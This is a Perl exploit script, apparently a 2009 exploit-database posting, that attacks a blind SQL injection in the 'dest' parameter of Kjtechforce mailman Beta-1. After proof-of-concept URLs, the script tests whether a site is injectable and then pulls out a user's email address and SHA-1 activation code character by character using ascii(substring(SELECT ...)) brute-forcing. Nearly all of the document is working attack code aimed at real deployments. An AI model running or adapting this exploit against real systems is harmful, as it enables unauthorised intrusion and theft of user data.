|
#!/usr/bin/perl=0D
#=0D
#----------------------------------------------------------------=0D
#('dest') Blind (SQLi) EXPLOIT --Kjtechforce mailman Beta-1 -->=0D
#----------------------------------------------------------------=0D
#=0D
#CMS INFORMATION:=0D
#=0D
#-->WEB: http://sourceforge.net/projects/kjtechforce/=0D
#-->DOWNLOAD: http://sourceforge.net/projects/kjtechforce/=0D
#-->DEMO: N/A=0D
#-->CATEGORY: CMS / Mailer=0D
#-->DESCRIPTION: The kjtechforce project has aimed at the tool making=0D
# that supports kjclub.com from the outside...=0D
#-->RELEASED: 2009-05-16=0D
#=0D
#CMS VULNERABILITY:=0D
#=0D
#-->TESTED ON: firefox 3=0D
#-->DORK: N/A=0D
#-->CATEGORY: BLIND SQL INJECTION EXPLOIT=0D
#-->AFFECT VERSION: CURRENT=0D
#-->Discovered Bug date: 2009-06-02=0D
#-->Reported Bug date: 2009-06-02=0D
#-->Fixed bug date: Not fixed=0D
#-->Info patch: Not fixed=0D
#-->Author: YEnH4ckEr=0D
#-->mail: y3nh4ck3r[at]gmail[dot]com=0D
#-->WEB/BLOG: N/A=0D
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.=0D
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)=0D
#=0D
#=0D
#------------=0D
#CONDITIONS:=0D
#------------=0D
#=0D
#gpc_magic_quotes=OFF=0D
#=0D
#=0D
#---------------------------------------=0D
#PROOF OF CONCEPT (SQL INJECTION):=0D
#---------------------------------------=0D
#=0D
#http://[HOST]/[PATH]/index.php?id=3&dest=4%27+and+1=1%23 --> TRUE=0D
#=0D
#http://[HOST]/[PATH]/index.php?id=3&dest=4%27+and+1=0%23 --> FALSE=0D
#=0D
#=0D
##############################################################################=0D
##############################################################################=0D
##**************************************************************************##=0D
## SPECIAL THANKS TO: JosS and every H4ck3r(all who do hack0wn)! ##=0D
##**************************************************************************##=0D
##--------------------------------------------------------------------------##=0D
##**************************************************************************##=0D
## GREETZ TO: Str0ke, Ulises2k, J.McCray, Evil1 & Spanish Hack3Rs community!##=0D
##**************************************************************************##=0D
##############################################################################=0D
##############################################################################=0D
#=0D
#=0D
use LWP::UserAgent;=0D
use HTTP::Request;=0D
#Subroutines=0D
sub lw=0D
{=0D
my $SO = $^O;=0D
my $linux = "";=0D
if (index(lc($SO),"win")!=-1){=0D
$linux="0";=0D
}else{=0D
$linux="1";=0D
} =0D
if($linux){=0D
system("clear");=0D
}=0D
else{=0D
system("cls");=0D
system ("title Kjtechforce mailman Beta-1 Blind SQLi Exploit");=0D
system ("color 02");=0D
}=0D
}=0D
sub request {=0D
my $userag = LWP::UserAgent->new;=0D
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');=0D
$request = HTTP::Request -> new(GET => $_[0]);=0D
my $outcode= $userag->request($request)->as_string;=0D
#print $outcode; #--> Active this line for debugger mode=0D
return $outcode;=0D
}=0D
sub error {=0D
print "\t------------------------------------------------------------\n";=0D
print "\tWeb isn't vulnerable!\n\n";=0D
print "\t--->Maybe:\n\n";=0D
print "\t\t1.-Patched.\n";=0D
print "\t\t2.-Bad path or host.\n";=0D
print "\t\t3.-Magic quotes ON.\n";=0D
print "\t\tEXPLOIT FAILED!\n";=0D
print "\t------------------------------------------------------------\n";=0D
}=0D
sub testedblindsql {=0D
print "\t-----------------------------------------------------------------\n";=0D
print "\tWEB MAYBE BE VULNERABLE!\n\n";=0D
print "\tTested Blind SQL Injection.\n"; =0D
print "\tStarting exploit...\n"; =0D
print "\t-----------------------------------------------------------------\n\n";=0D
}=0D
=0D
sub helper {=0D
print "\n\t[!!!] Kjtechforce mailman Beta-1 Blind SQLi Exploit\n";=0D
print "\t[!!!] USAGE MODE: [!!!]\n";=0D
print "\t[!!!] perl $0 [HOST] [PATH] [Target_id]\n";=0D
print "\t[!!!] [HOST]: Web.\n";=0D
print "\t[!!!] [PATH]: Home Path.\n";=0D
print "\t[!!!] [Target_id]: Set Target id\n";=0D
print "\t[!!!] Example: perl $0 'www.example.com' 'path' '1'\n";=0D
}=0D
sub brute_length{=0D
#Column length=0D
$exit=0;=0D
$i=0;=0D
while($exit==0){=0D
my $blindsql=$_[0]."'+AND+(SELECT+length(address)+FROM+mailman_user+WHERE+id=".$_[1].")=".$i++."%23"; #injected code=0D
$output=&request($blindsql);=0D
if($output !~ (/is NOT MailMan User./)){=0D
$exit=1;=0D
}else{=0D
$exit=0;=0D
}=0D
#This is the max length of address or code=0D
if($i>40){=0D
&error;=0D
exit(1);=0D
}=0D
}=0D
#Save column length=0D
$length=$i-1;=0D
print "\t<<<<<--------------------------------------------------------->>>>>\n";=0D
print "\tLength catched!\n";=0D
print "\tLength Address --> ".$length."\n";=0D
print "\tWait several minutes...\n";=0D
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";=0D
return $length;=0D
}=0D
sub exploiting {=0D
#Bruteforcing values=0D
$values="";=0D
$k=1;=0D
$z=45;=0D
while(($k<=$_[1]) && ($z<=126)){=0D
if($_[2] eq "code"){=0D
$blindsql=$_[0]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+mailman_activator+WHERE+user_id=".$_[3]."),".$k.",1))=".$z."%23";=0D
}else{=0D
$blindsql=$_[0]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+mailman_user+WHERE+id=".$_[3]."),".$k.",1))=".$z."%23";=0D
}=0D
$output=&request($blindsql);=0D
if ($output !~ (/is NOT MailMan User./))=0D
{=0D
$values=$values.chr($z);=0D
$k++;=0D
$z=45;=0D
}=0D
#new char=0D
$z++; =0D
}=0D
return $values;=0D
}=0D
#Main=0D
&lw;=0D
print "\t#######################################################\n\n";=0D
print "\t#######################################################\n\n";=0D
print "\t## Kjtechforce mailman Beta-1 ##\n\n";=0D
print "\t## Blind SQL Injection Exploit ##\n\n"; =0D
print "\t## ++Conditions: magic_quotes=OFF ##\n\n";=0D
print "\t## Author: Y3nh4ck3r ##\n\n";=0D
print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";=0D
print "\t## Proud to be Spanish! ##\n\n";=0D
print "\t#######################################################\n\n";=0D
print "\t#######################################################\n\n";=0D
#Init variables=0D
my $host=$ARGV[0];=0D
my $path=$ARGV[1];=0D
$numArgs = $#ARGV + 1;=0D
if($numArgs<=1) =0D
{=0D
&helper;=0D
exit(1); =0D
}=0D
if(!$ARGV[2]){=0D
$target_id=1;=0D
}else{=0D
$target_id=$ARGV[2];=0D
} =0D
#Build uri=0D
my $finalhost="http://".$host."/".$path."/index.php?id=".$target_id."&dest=".$target_id;=0D
$finalrequest = $finalhost; =0D
#Testing blind sql injection=0D
$testblind1=$finalrequest."'+AND+1=0%23";=0D
$output1=&request($testblind1);=0D
$testblind2=$finalrequest."'+AND+1=1%23";=0D
$output2=&request($testblind2);=0D
if ($output1 eq $output2)=0D
{ =0D
#Not injectable=0D
&error;=0D
exit(1); =0D
}else{ =0D
#blind sql injection is available=0D
&testedblindsql;=0D
}=0D
#Bruteforcing length=0D
$length_address=&brute_length($finalrequest,$target_id); =0D
#Bruteforcing username...=0D
$address=&exploiting($finalrequest,$length_address,'address',$target_id);=0D
$length_codesha1=40; #Encrypted Sha-1 =0D
#Bruteforcing password...=0D
$codesha1=&exploiting($finalrequest,$length_codesha1,'code',$target_id);=0D
#final checking=0D
if((!$address) || (!$codesha1)){=0D
&error;=0D
exit(1);=0D
}=0D
print "\n\t\t*************************************************\n";=0D
print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY ********\n";=0D
print "\t\t*************************************************\n\n";=0D
print "\t\tEmail address: ".$address."\n";=0D
print "\t\tSha1 code: ".$codesha1."\n\n";=0D
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";=0D
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";=0D
print "\t\t<<------------------------EOF---------------------->>\n\n";=0D
exit(1);=0D
#Ok...all job done